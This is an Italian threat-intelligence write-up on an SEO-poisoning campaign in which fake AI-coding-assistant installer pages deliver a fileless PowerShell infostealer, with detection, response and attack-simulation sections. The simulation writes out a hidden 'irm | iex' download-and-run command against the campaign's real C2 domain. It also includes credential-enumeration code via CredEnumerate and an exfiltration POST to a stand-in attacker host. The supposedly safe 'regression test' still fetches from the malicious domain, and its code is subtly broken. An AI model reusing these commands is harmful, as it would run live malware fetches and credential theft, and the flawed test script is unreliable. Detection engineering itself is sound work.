Campagna di Avvelenamento SEO Utilizza Esche di Codice Gemini e Claude per Consegnare un Infostealer

Sommario

Attori eCrime motivati finanziariamente stanno utilizzando l’avvelenamento SEO per promuovere domini falsi che imitano gli installer per assistenti di codifica AI. Le vittime che copiano e incollano un singolo comando PowerShell da queste pagine innescano un infostealer senza file che si esegue completamente in memoria. Il malware ruba credenziali, cookie di sessione, chiavi VPN e file sensibili prima di esfiltrare i dati in forma criptata a un server di comando e controllo. La campagna è mirata alle workstation dei sviluppatori Windows e si mimetizza nell’attività normale abusando di strumenti di sviluppo familiari.

Indagine

Gli analisti di EclecticIQ hanno tracciato l’infrastruttura malevola a .co.com domini che servono stringhe di download PowerShell attraverso irm and iex. Lo script di prima fase lancia una finestra PowerShell nascosta usando Shell.Application.ShellExecute, quindi carica ulteriori tipi C# per raccogliere credenziali, dettagli di sistema e altri dati preziosi. È stata osservata esfiltrazione tramite HTTP e HTTPS a events.msft23.com and events.ms709.com utilizzando percorsi URL specifici. Un’analisi DNS passiva ha collegato l’operazione a un provider di hosting a prova di proiettile nei Paesi Bassi e a un più ampio cluster di domini typosquattrati.

Mitigazione

I difensori dovrebbero rilevare e bloccare il irm | iex schema di esecuzione, finestre PowerShell nascoste e uso sospetto di Add-Type che coinvolge chiamate P/Invoke. Le organizzazioni dovrebbero imporre la Modalità di Linguaggio Limitato di PowerShell e utilizzare AppLocker o WDAC per prevenire l’esecuzione di script da contenuti di origine Internet. Limitare l’accesso in scrittura agli appunti del browser e imporre token OAuth di breve durata per gli account sviluppatore possono ulteriormente ridurre l’esposizione. Inoltre, gli sviluppatori dovrebbero essere addestrati ad evitare di copiare-comandi da siti web non attendibili.

Risposta

I team di sicurezza dovrebbero allertare sui processi PowerShell avviati con -WindowStyle Hidden o invocati tramite Shell.Application.ShellExecute. Questi eventi dovrebbero essere correlati con richieste HTTP in uscita verso domini corrispondenti a *-setup.com or events.*.com, specialmente quando appaiono i percorsi /take, /process, o /validate . Se questo comportamento viene rilevato, isolare il endpoint interessato, raccogliere i log di PowerShell e effettuare una raccolta forense dei dati del browser e degli archivi di credenziali.

Esecuzione Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.

Motivo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

• Narrazione & Comandi di Attacco:
  Un attaccante compromette un account utente con pochi privilegi ed esegue un comando PowerShell one-liner tramite cmd.exe. Il one-liner usa irm (Invoke‑RestMethod) per recuperare uno script PowerShell malevolo da events.msft23.com, lo convoglia a iex (Invoke‑Expression) per eseguire il payload interamente in memoria e nasconde la finestra PowerShell per evitare surfate. Successivamente, il payload carica un tipo .NET con Add‑Type per effettuare l’enumerazione delle credenziali utilizzando l’API CredEnumerate , esfiltra i dati raccolti tramite HTTPS. Tutti i passaggi vengono eseguiti senza scrivere file su disco, corrispondendo alla descrizione “senza file”.

  # Passo 1 – Avvio nascosto di PowerShell
  powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

  Il payload.ps1 scaricato (eseguito in memoria) contiene:

  # Passo 2 – Carica il tipo .NET per l'enumerazione delle credenziali
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport(""advapi32.dll"", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  # Passo 3 – Avvia dump delle credenziali e esfiltra
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Raccolte $count credenziali"
  Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

  Questa sequenza genera i frammenti di riga di comando che la regola Sigma corrisponde:

  • powershell.exe -WindowStyle Hidden
  • irm events.msft23.com | iex
  • Add-Type
  • advapi32.dll!CredEnumerate

• Script di Test di Regressione: Il seguente script riproduce esattamente il comportamento su una workstation di test. Eseguilo da un prompt PowerShell elevato.

  # Simulazione Infostealer PowerShell Fileless – TC-20260525-A7Z3K
  # ------------------------------------------------------------
  # Passo 1 – Esegui PowerShell nascosto che scarica & esegue payload
  $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
  Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
  
  # Contenuto mock di payload.ps1 (ospitato localmente per test sicuri)
  $payload = @'
  $type = @"
  using System;
  using System.Runtime.InteropServices;
  public class Cred {
      [DllImport("advapi32.dll", SetLastError=true)]
      public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
  }
  "@
  Add-Type $type
  
  $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
  $data = "Raccolte $count credenziali"
  # Simula esfiltrazione a un endpoint innocuo
  Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
  '@
  
  # Scrivi il payload mock in posizione temporanea per il test (simulando hosting remoto)
  $tempPath = "$env:TEMPpayload.ps1"
  Set-Content -Path $tempPath -Value $payload -Encoding UTF8
  
  # Servi il payload tramite un semplice listener HTTP locale (per dimostrazione)
  $listener = [System.Net.HttpListener]::new()
  $listener.Prefixes.Add("http://+:8080/")
  $listener.Start()
  Write-Host "Servendo payload mock su http://localhost:8080/payload.ps1"
  while ($listener.IsListening) {
      $context = $listener.GetContext()
      if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
          $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
          $context.Response.ContentLength64 = $bytes.Length
          $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
          $context.Response.Close()
      }
  }
  # Nota: Ferma il listener manualmente dopo la validazione.

• Comandi di Pulizia: Rimuovi file temporanei e ferma il listener HTTP.

  # Pulizia dopo la simulazione
  Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
  # Ferma il listener HTTP locale (se ancora in esecuzione)
  Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force